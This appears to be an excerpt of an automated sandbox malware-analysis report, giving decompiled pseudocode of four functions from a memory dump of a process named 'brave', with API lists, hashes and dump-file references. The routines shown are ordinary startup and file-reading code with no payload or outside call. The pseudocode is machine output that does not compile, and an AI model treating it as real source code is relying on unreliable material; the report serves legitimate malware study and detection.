Instruction ID: 8745785df643c489aec09f2e73ac157d3d72b2e06eee2315545f410b561c7d35
Opcode Fuzzy Hash: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction Fuzzy Hash: 69229122A08BC186EB21CB29F4057AA77A4FF95788F448135DA9D837E6EF7CD244C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C1190 Relevance: 10.7, APIs: 7, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E00007FF67FF6FC4C1190(void* __edi, void* __esp) {
				signed char _v120;
				char _v168;
				_Unknown_base(*)()* _t30;
				void* _t32;
				intOrPtr _t39;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				intOrPtr* _t87;
				long long _t88;
				intOrPtr* _t89;
				intOrPtr _t90;
				signed short* _t91;
				signed short* _t92;
				long long _t93;
				intOrPtr* _t95;
				intOrPtr _t97;
				long long* _t104;
				intOrPtr* _t109;
				signed short* _t110;
				signed long long _t111;
				void* _t113;
				signed short* _t114;
				long long _t118;
				signed long long _t122;

				_t111 =  *0xfc7769e0; // 0x7ff6fc7810e0
				r9d =  *_t111;
				memset(__edi, 0, 0xd << 0);
				if (r9d != 0) goto 0xfc4c148b;
				_t97 =  *0xfc776900; // 0x7ff6fc781090
				goto 0xfc4c11f9;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0xfc4c1434;
				Sleep(??);
				asm("lock dec eax");
				if (_t113 != 0) goto 0xfc4c11e8;
				_t109 =  *0xfc776910; // 0x7ff6fc781098
				if ( *_t109 == 1) goto 0xfc4c144b;
				if ( *_t109 == 0) goto 0xfc4c14b4;
				 *0xfc78101c = 1;
				if ( *_t109 == 1) goto 0xfc4c1460;
				if (0 == 0) goto 0xfc4c1481;
				_t87 =  *0xfc776870; // 0x7ff6fc775a40
				_t88 =  *_t87;
				if (_t88 == 0) goto 0xfc4c125c;
				r8d = 0;
				E00007FF67FF6FC4CE830( *_t88());
				_t30 = SetUnhandledExceptionFilter(??);
				_t104 =  *0xfc7768f0; // 0x7ff6fc781120
				 *_t104 = _t88;
				_t32 = E00007FF67FF6FC4CE640(E00007FF67FF6FC4E1D80(_t30, 0x7ff6fc4c1000));
				_t89 =  *0xfc776890; // 0x7ff6fc4c0000
				 *0xfc781010 = _t89;
				E00007FF67FF6FC4E1E70(_t32);
				_t90 =  *_t89;
				if (_t90 != 0) goto 0xfc4c12c3;
				goto 0xfc4c1308;
				if (2 == 0) goto 0xfc4c12dd;
				if (2 == 0) goto 0xfc4c12dd;
				_t91 = _t90 + 2;
				_t52 =  *_t91 & 0x0000ffff;
				if (_t52 - 0x20 <= 0) goto 0xfc4c12b0;
				r8d = 1;
				r8d = r8d ^ 0x00000001;
				_t48 =  ==  ? r8d : 1;
				goto 0xfc4c12bf;
				if (_t52 - 1 - 0x1f > 0) goto 0xfc4c1301;
				asm("o16 nop [cs:eax+eax]");
				_t92 =  &(_t91[1]);
				if (_t97 - 1 - 0x1f <= 0) goto 0xfc4c12f0;
				 *0xfc781008 = _t92;
				r8d =  *_t111;
				if (r8d == 0) goto 0xfc4c1326;
				if ((_v120 & 0x00000001) != 0) goto 0xfc4c142a;
				 *0xfc4f3000 = 0xa;
				_t10 =  *0xfc781038 + 1; // 0x7ffc2fc93ca1
				r13d = _t10;
				_t122 = r13d << 3;
				malloc(??);
				_t110 =  *0xfc781030; // 0x1a14fc317f0
				_t114 = _t92;
				if (r12d <= 0) goto 0xfc4c13ab;
				asm("o16 nop [eax+eax]");
				_t93 =  *((intOrPtr*)(_t110 + _t111 * 8));
				if ( *_t93 == 0) goto 0xfc4c1420;
				r8d = 1;
				if ( *((short*)(_t93 + ( &_v168 + 1) * 2 - 2)) != 0) goto 0xfc4c1370;
				malloc(??);
				 *((long long*)(_t114 + _t111 * 8)) = _t93;
				memcpy(??, ??, ??);
				if ( *0xfc781038 != _t111 + 1) goto 0xfc4c1358;
				_t22 = _t122 - 8; // -8
				 *((long long*)(_t114 + _t22)) = 0;
				 *0xfc781030 = _t114; // executed
				E00007FF67FF6FC4CE430();
				_t95 =  *0xfc7768a0; // 0x7ff6fc782708
				_t118 =  *0xfc781028; // 0x1a14fc36800
				 *((long long*)( *_t95)) = _t118;
				_t39 = E00007FF67FF6FC4C1770( *_t95);
				_t50 =  *0xfc781020; // 0x0
				 *0xfc781024 = _t39;
				if (_t50 == 0) goto 0xfc4c14d2;
				_t55 =  *0xfc78101c; // 0x0
				if (_t55 == 0) goto 0xfc4c1499;
				return _t39;
			}

0x7ff6fc4c119f
0x7ff6fc4c11ad
0x7ff6fc4c11b8
0x7ff6fc4c11be
0x7ff6fc4c11cd
0x7ff6fc4c11e1
0x7ff6fc4c11eb
0x7ff6fc4c11f6
0x7ff6fc4c11fc
0x7ff6fc4c1204
0x7ff6fc4c1206
0x7ff6fc4c1214
0x7ff6fc4c121e
0x7ff6fc4c1224
0x7ff6fc4c1233
0x7ff6fc4c123b
0x7ff6fc4c1241
0x7ff6fc4c1248
0x7ff6fc4c124e
0x7ff6fc4c1250
0x7ff6fc4c125c
0x7ff6fc4c1268
0x7ff6fc4c126e
0x7ff6fc4c127c
0x7ff6fc4c1284
0x7ff6fc4c1289
0x7ff6fc4c1290
0x7ff6fc4c1297
0x7ff6fc4c129e
0x7ff6fc4c12a4
0x7ff6fc4c12a6
0x7ff6fc4c12b3
0x7ff6fc4c12b8
0x7ff6fc4c12bf
0x7ff6fc4c12c3
0x7ff6fc4c12ca
0x7ff6fc4c12cc
0x7ff6fc4c12cf
0x7ff6fc4c12d7
0x7ff6fc4c12db
0x7ff6fc4c12e4
0x7ff6fc4c12e6
0x7ff6fc4c12f4
0x7ff6fc4c12ff
0x7ff6fc4c1301
0x7ff6fc4c1308
0x7ff6fc4c130e
0x7ff6fc4c131a
0x7ff6fc4c1320
0x7ff6fc4c132d
0x7ff6fc4c132d
0x7ff6fc4c1335
0x7ff6fc4c133c
0x7ff6fc4c1341
0x7ff6fc4c1348
0x7ff6fc4c134e
0x7ff6fc4c1352
0x7ff6fc4c1358
0x7ff6fc4c1360
0x7ff6fc4c1366
0x7ff6fc4c137b
0x7ff6fc4c1384
0x7ff6fc4c138c
0x7ff6fc4c139c
0x7ff6fc4c13a4
0x7ff6fc4c13a6
0x7ff6fc4c13ab
0x7ff6fc4c13b2
0x7ff6fc4c13b9
0x7ff6fc4c13be
0x7ff6fc4c13c5
0x7ff6fc4c13d5
0x7ff6fc4c13df
0x7ff6fc4c13e4
0x7ff6fc4c13ea
0x7ff6fc4c13f2
0x7ff6fc4c13f8
0x7ff6fc4c1400
0x7ff6fc4c1415

APIs

Sleep.KERNEL32 ref: 00007FF6FC4C11F6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FC4C1268
malloc.MSVCRT ref: 00007FF6FC4C133C
malloc.MSVCRT ref: 00007FF6FC4C1384
memcpy.MSVCRT ref: 00007FF6FC4C139C
GetStartupInfoW.KERNEL32 ref: 00007FF6FC4C148E

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
String ID:
API String ID: 772431862-0
Opcode ID: b2d9a06e854fcc7941f146e7b2ca8cb19feb9d16126c8bb203fffc16eade9bbd
Instruction ID: 7e56d8a4edcf0aba2e7c1024ffee6cb73692080971efc16761346e910eee2e29
Opcode Fuzzy Hash: b2d9a06e854fcc7941f146e7b2ca8cb19feb9d16126c8bb203fffc16eade9bbd
Instruction Fuzzy Hash: 4C914635E0964686FB60EB16F950B7927A1BF44B88F544035CA2DC37E5FE2DEA48DB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C43C0 Relevance: 4.6, APIs: 3, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00007FF67FF6FC4C43C0(void* __esi, long long __rax, void* __rcx, long* __rdx) {
				long long _v48;
				char _v56;
				long long _v72;
				long long _v80;
				long _v88;
				long long _v96;
				long long _v104;
				long _t10;
				long _t13;
				long long _t22;
				long* _t25;

				_t22 = __rax;
				_t25 = __rdx;
				E00007FF67FF6FC4C39D0(1, __rax, __rcx); // executed
				if (_t22 == 0xffffffff) goto 0xfc4c4470;
				_v56 = 0;
				_v48 = 0;
				_t10 = GetFileSize(??, ??);
				r13d = _t10;
				 *_t25 = _t10;
				GetProcessHeap();
				r8d = r13d;
				HeapAlloc(??, ??, ??); // executed
				r9d = 0;
				r8d = 0;
				_v72 = 0;
				_t13 =  *_t25;
				_v80 = 0;
				_v88 = _t13;
				_v96 = _t22;
				_v104 =  &_v56;
				E00007FF67FF6FC4C4CEF(); // executed
				E00007FF67FF6FC4C4D0D(); // executed
				if (_t13 < 0) goto 0xfc4c4488;
				return _t13;
			}

0x7ff6fc4c43c0
0x7ff6fc4c43ca
0x7ff6fc4c43d2
0x7ff6fc4c43de
0x7ff6fc4c43e4
0x7ff6fc4c43f2
0x7ff6fc4c43fb
0x7ff6fc4c4401
0x7ff6fc4c4404
0x7ff6fc4c4406
0x7ff6fc4c440c
0x7ff6fc4c4414
0x7ff6fc4c441a
0x7ff6fc4c441d
0x7ff6fc4c4422
0x7ff6fc4c442e
0x7ff6fc4c4433
0x7ff6fc4c443c
0x7ff6fc4c4445
0x7ff6fc4c444a
0x7ff6fc4c444f
0x7ff6fc4c4459
0x7ff6fc4c4460
0x7ff6fc4c446f

APIs

Part of subcall function 00007FF6FC4C39D0: wcslen.MSVCRT ref: 00007FF6FC4C3A58
Part of subcall function 00007FF6FC4C39D0: wcslen.MSVCRT ref: 00007FF6FC4C3AE6

GetFileSize.KERNEL32 ref: 00007FF6FC4C43FB
GetProcessHeap.KERNEL32 ref: 00007FF6FC4C4406
HeapAlloc.KERNEL32 ref: 00007FF6FC4C4414

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Heapwcslen$AllocFileProcessSize
String ID:
API String ID: 3094376029-0
Opcode ID: b987f291ff7a0700c1adc368413bd26375da92ee33c3c0e79a7e4ad3b8e5b4e5
Instruction ID: 5ea6d88621d921eb617ea216eadaa65b1cf7b7e8e8c9973fb094873f816f20a0
Opcode Fuzzy Hash: b987f291ff7a0700c1adc368413bd26375da92ee33c3c0e79a7e4ad3b8e5b4e5
Instruction Fuzzy Hash: A911D337A08A1445EB11EB25B815B577290BB84BBCF900231DE6D837E4FF7C9589C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F2490 Relevance: 1.4, APIs: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF6FC4F2490() {
				long long _v296;
				void* _t51;
				void* _t53;
				void* _t54;
				int _t56;
				long long* _t65;
				void* _t66;
				void* _t67;
				int _t75;
				void* _t120;
				int _t121;
				int _t122;
				int _t123;
				int _t124;
				int _t125;
				int _t130;

				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t67);
				_t121 = _t56;
				E00007FF67FF6FC4EA110(_t56, _t67);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t121, 0xfc776bb0, 0x7ff6fc4ea230, _t120, _t121, _t67);
				_t128 = _t56;
				E00007FF67FF6FC4F1CF0(_t121);
				E00007FF67FF6FC4CFEC0();
				_push(_t56);
				_push(_t121);
				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t128);
				_t122 = _t56;
				E00007FF67FF6FC4EA290(_t56, _t128);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t122, 0xfc776bd0, 0x7ff6fc4ea3b0, _t120, _t122, _t128);
				_t130 = _t56;
				E00007FF67FF6FC4F1CF0(_t122);
				_t75 = _t130;
				E00007FF67FF6FC4CFEC0();
				_push(_t130);
				_push(_t122);
				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t75);
				_t123 = _t56;
				E00007FF67FF6FC4EA7A0(_t56, _t75);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t123, 0xfc776c10, 0x7ff6fc4ea8d0, _t120, _t123, _t75);
				_t132 = _t56;
				E00007FF67FF6FC4F1CF0(_t123);
				E00007FF67FF6FC4CFEC0();
				_push(_t56);
				_push(_t123);
				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t132);
				_t124 = _t56;
				E00007FF67FF6FC4E9850(_t56, _t132);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t124, 0xfc776b70, 0x7ff6fc4e9970, _t120, _t124, _t132);
				_t134 = _t56;
				E00007FF67FF6FC4F1CF0(_t124);
				E00007FF67FF6FC4CFEC0();
				_push(_t56);
				_push(_t124);
				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t134);
				_t125 = _t56;
				E00007FF67FF6FC4EA970(_t56, _t134);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t125, 0xfc776c30, 0x7ff6fc4eaa90, _t120, _t125, _t134);
				_t136 = _t56;
				E00007FF67FF6FC4F1CF0(_t125);
				E00007FF67FF6FC4CFEC0();
				_push(_t56);
				E00007FF67FF6FC4F19A0(_t53, _t54, _t56, _t136);
				_t126 = _t56;
				E00007FF67FF6FC4EAAF0(_t56, _t136);
				E00007FF67FF6FC4F2160(0x10, _t51, _t56, _t66, _t56, 0xfc776c50, 0x7ff6fc4eac10, _t120, _t56, _t136);
				E00007FF67FF6FC4F1CF0(_t126);
				E00007FF67FF6FC4CFEC0();
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				_t65 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF6FC4D0980(0xfc772d20, 0xfc776c50);
				 *0xfc772d38 = 0x12400; // executed
				malloc(_t125); // executed
				 *0xfc772d30 = _t65;
				if (_t65 == 0) goto 0xfc4f2789;
				 *0xfc772d28 = _t65;
				 *_t65 = 0x12400;
				 *((long long*)(_t65 + 8)) = 0;
				goto E00007FF67FF6FC4C1520;
				 *0xfc772d38 = 0;
				 *0xfc772d28 = 0;
				goto 0xfc4f2779;
				0;
				0;
				0;
			}

0x7ff6fc4f24a0
0x7ff6fc4f24ab
0x7ff6fc4f24ae
0x7ff6fc4f24c4
0x7ff6fc4f24c9
0x7ff6fc4f24cf
0x7ff6fc4f24d7
0x7ff6fc4f24e0
0x7ff6fc4f24e2
0x7ff6fc4f24f0
0x7ff6fc4f24fb
0x7ff6fc4f24fe
0x7ff6fc4f2514
0x7ff6fc4f2519
0x7ff6fc4f251f
0x7ff6fc4f2524
0x7ff6fc4f2527
0x7ff6fc4f2530
0x7ff6fc4f2532
0x7ff6fc4f2540
0x7ff6fc4f254b
0x7ff6fc4f254e
0x7ff6fc4f2564
0x7ff6fc4f2569
0x7ff6fc4f256f
0x7ff6fc4f2577
0x7ff6fc4f2580
0x7ff6fc4f2582
0x7ff6fc4f2590
0x7ff6fc4f259b
0x7ff6fc4f259e
0x7ff6fc4f25b4
0x7ff6fc4f25b9
0x7ff6fc4f25bf
0x7ff6fc4f25c7
0x7ff6fc4f25d0
0x7ff6fc4f25d2
0x7ff6fc4f25e0
0x7ff6fc4f25eb
0x7ff6fc4f25ee
0x7ff6fc4f2604
0x7ff6fc4f2609
0x7ff6fc4f260f
0x7ff6fc4f2617
0x7ff6fc4f2620
0x7ff6fc4f2630
0x7ff6fc4f263b
0x7ff6fc4f263e
0x7ff6fc4f2654
0x7ff6fc4f265f
0x7ff6fc4f2667
0x7ff6fc4f2670
0x7ff6fc4f2681
0x7ff6fc4f2683
0x7ff6fc4f2694
0x7ff6fc4f2696
0x7ff6fc4f26a7
0x7ff6fc4f26a9
0x7ff6fc4f26ba
0x7ff6fc4f26bc
0x7ff6fc4f26c7
0x7ff6fc4f26c9
0x7ff6fc4f26da
0x7ff6fc4f26dc
0x7ff6fc4f26ed
0x7ff6fc4f26ef
0x7ff6fc4f2700
0x7ff6fc4f2702
0x7ff6fc4f2713
0x7ff6fc4f2715
0x7ff6fc4f271e
0x7ff6fc4f2726
0x7ff6fc4f272e
0x7ff6fc4f273d
0x7ff6fc4f2747
0x7ff6fc4f2752
0x7ff6fc4f2757
0x7ff6fc4f2761
0x7ff6fc4f2763
0x7ff6fc4f276a
0x7ff6fc4f2771
0x7ff6fc4f2784
0x7ff6fc4f2789
0x7ff6fc4f2794
0x7ff6fc4f279f
0x7ff6fc4f27a7
0x7ff6fc4f27ab
0x7ff6fc4f27af

APIs

Part of subcall function 00007FF6FC4F19A0: malloc.MSVCRT(?,?,?,?,00007FF6FC4F23B5,?,?,?,?,00007FF6FC4C3C24), ref: 00007FF6FC4F19B1

Part of subcall function 00007FF6FC4EA110: strlen.MSVCRT ref: 00007FF6FC4EA13B

Part of subcall function 00007FF6FC4CFEC0: RtlCaptureContext.KERNEL32 ref: 00007FF6FC4CFF45
Part of subcall function 00007FF6FC4CFEC0: RtlUnwindEx.KERNEL32 ref: 00007FF6FC4CFF63
Part of subcall function 00007FF6FC4CFEC0: abort.MSVCRT ref: 00007FF6FC4CFF69

Part of subcall function 00007FF6FC4EA290: strlen.MSVCRT ref: 00007FF6FC4EA2BB

Part of subcall function 00007FF6FC4EA7A0: strlen.MSVCRT ref: 00007FF6FC4EA7CB

Part of subcall function 00007FF6FC4E9850: strlen.MSVCRT ref: 00007FF6FC4E987B

Part of subcall function 00007FF6FC4EA970: strlen.MSVCRT ref: 00007FF6FC4EA99B

Part of subcall function 00007FF6FC4EAAF0: strlen.MSVCRT ref: 00007FF6FC4EAB1B

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 615cb4ee418670568aa1e261e6448711ea95e765688d72287fd38c76572a1b4f
Instruction ID: f6fd6e9b134522efe0501a5616c10ce792d35d834b350566494cd92c43937a4d
Opcode Fuzzy Hash: 615cb4ee418670568aa1e261e6448711ea95e765688d72287fd38c76572a1b4f
Instruction Fuzzy Hash: 9C615F20A0964684FB14EB12B8553BA6361BF86BCDF401431EDAD9B3D2EE3DE244D384

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F2530 Relevance: 1.4, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF67FF6FC4F2530() {
				long long _v184;
				void* _t39;
				void* _t41;
				void* _t42;
				int _t44;
				long long* _t53;
				void* _t54;
				void* _t55;
				void* _t92;
				int _t93;
				int _t94;
				int _t95;

				E00007FF67FF6FC4F19A0(_t41, _t42, _t44, _t55);
				_t93 = _t44;
				E00007FF67FF6FC4EA7A0(_t44, _t55);
				E00007FF67FF6FC4F2160(0x10, _t39, _t44, _t54, _t93, 0xfc776c10, 0x7ff6fc4ea8d0, _t92, _t93, _t55);
				_t98 = _t44;
				E00007FF67FF6FC4F1CF0(_t93);
				E00007FF67FF6FC4CFEC0();
				_push(_t44);
				_push(_t93);
				E00007FF67FF6FC4F19A0(_t41, _t42, _t44, _t98);
				_t94 = _t44;
				E00007FF67FF6FC4E9850(_t44, _t98);
				E00007FF67FF6FC4F2160(0x10, _t39, _t44, _t54, _t94, 0xfc776b70, 0x7ff6fc4e9970, _t92, _t94, _t98);
				_t100 = _t44;
				E00007FF67FF6FC4F1CF0(_t94);
				E00007FF67FF6FC4CFEC0();
				_push(_t44);
				_push(_t94);
				E00007FF67FF6FC4F19A0(_t41, _t42, _t44, _t100);
				_t95 = _t44;
				E00007FF67FF6FC4EA970(_t44, _t100);
				E00007FF67FF6FC4F2160(0x10, _t39, _t44, _t54, _t95, 0xfc776c30, 0x7ff6fc4eaa90, _t92, _t95, _t100);
				_t102 = _t44;
				E00007FF67FF6FC4F1CF0(_t95);
				E00007FF67FF6FC4CFEC0();
				_push(_t44);
				E00007FF67FF6FC4F19A0(_t41, _t42, _t44, _t102);
				_t96 = _t44;
				E00007FF67FF6FC4EAAF0(_t44, _t102);
				E00007FF67FF6FC4F2160(0x10, _t39, _t44, _t54, _t44, 0xfc776c50, 0x7ff6fc4eac10, _t92, _t44, _t102);
				E00007FF67FF6FC4F1CF0(_t96);
				E00007FF67FF6FC4CFEC0();
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				_t53 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF6FC4D0980(0xfc772d20, 0xfc776c50);
				 *0xfc772d38 = 0x12400; // executed
				malloc(_t95); // executed
				 *0xfc772d30 = _t53;
				if (_t53 == 0) goto 0xfc4f2789;
				 *0xfc772d28 = _t53;
				 *_t53 = 0x12400;
				 *((long long*)(_t53 + 8)) = 0;
				goto E00007FF67FF6FC4C1520;
				 *0xfc772d38 = 0;
				 *0xfc772d28 = 0;
				goto 0xfc4f2779;
				0;
				0;
				0;
			}

0x7ff6fc4f2540
0x7ff6fc4f254b
0x7ff6fc4f254e
0x7ff6fc4f2564
0x7ff6fc4f2569
0x7ff6fc4f256f
0x7ff6fc4f2577
0x7ff6fc4f2580
0x7ff6fc4f2582
0x7ff6fc4f2590
0x7ff6fc4f259b
0x7ff6fc4f259e
0x7ff6fc4f25b4
0x7ff6fc4f25b9
0x7ff6fc4f25bf
0x7ff6fc4f25c7
0x7ff6fc4f25d0
0x7ff6fc4f25d2
0x7ff6fc4f25e0
0x7ff6fc4f25eb
0x7ff6fc4f25ee
0x7ff6fc4f2604
0x7ff6fc4f2609
0x7ff6fc4f260f
0x7ff6fc4f2617
0x7ff6fc4f2620
0x7ff6fc4f2630
0x7ff6fc4f263b
0x7ff6fc4f263e
0x7ff6fc4f2654
0x7ff6fc4f265f
0x7ff6fc4f2667
0x7ff6fc4f2670
0x7ff6fc4f2681
0x7ff6fc4f2683
0x7ff6fc4f2694
0x7ff6fc4f2696
0x7ff6fc4f26a7
0x7ff6fc4f26a9
0x7ff6fc4f26ba
0x7ff6fc4f26bc
0x7ff6fc4f26c7
0x7ff6fc4f26c9
0x7ff6fc4f26da
0x7ff6fc4f26dc
0x7ff6fc4f26ed
0x7ff6fc4f26ef
0x7ff6fc4f2700
0x7ff6fc4f2702
0x7ff6fc4f2713
0x7ff6fc4f2715
0x7ff6fc4f271e
0x7ff6fc4f2726
0x7ff6fc4f272e
0x7ff6fc4f273d
0x7ff6fc4f2747
0x7ff6fc4f2752
0x7ff6fc4f2757
0x7ff6fc4f2761
0x7ff6fc4f2763
0x7ff6fc4f276a
0x7ff6fc4f2771
0x7ff6fc4f2784
0x7ff6fc4f2789
0x7ff6fc4f2794
0x7ff6fc4f279f
0x7ff6fc4f27a7
0x7ff6fc4f27ab
0x7ff6fc4f27af

APIs

Part of subcall function 00007FF6FC4F19A0: malloc.MSVCRT(?,?,?,?,00007FF6FC4F23B5,?,?,?,?,00007FF6FC4C3C24), ref: 00007FF6FC4F19B1

Part of subcall function 00007FF6FC4EA7A0: strlen.MSVCRT ref: 00007FF6FC4EA7CB

Part of subcall function 00007FF6FC4CFEC0: RtlCaptureContext.KERNEL32 ref: 00007FF6FC4CFF45
Part of subcall function 00007FF6FC4CFEC0: RtlUnwindEx.KERNEL32 ref: 00007FF6FC4CFF63
Part of subcall function 00007FF6FC4CFEC0: abort.MSVCRT ref: 00007FF6FC4CFF69

Part of subcall function 00007FF6FC4E9850: strlen.MSVCRT ref: 00007FF6FC4E987B

Part of subcall function 00007FF6FC4EA970: strlen.MSVCRT ref: 00007FF6FC4EA99B

Part of subcall function 00007FF6FC4EAAF0: strlen.MSVCRT ref: 00007FF6FC4EAB1B

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 04dbb56ecb3b0ba340dc4664034811b6863cbae9e0344c0919a0919577745e17
Instruction ID: 49ff741c7ae39ffff9d6de3b37db75d9b05d473e74b56d84245af067979efa87
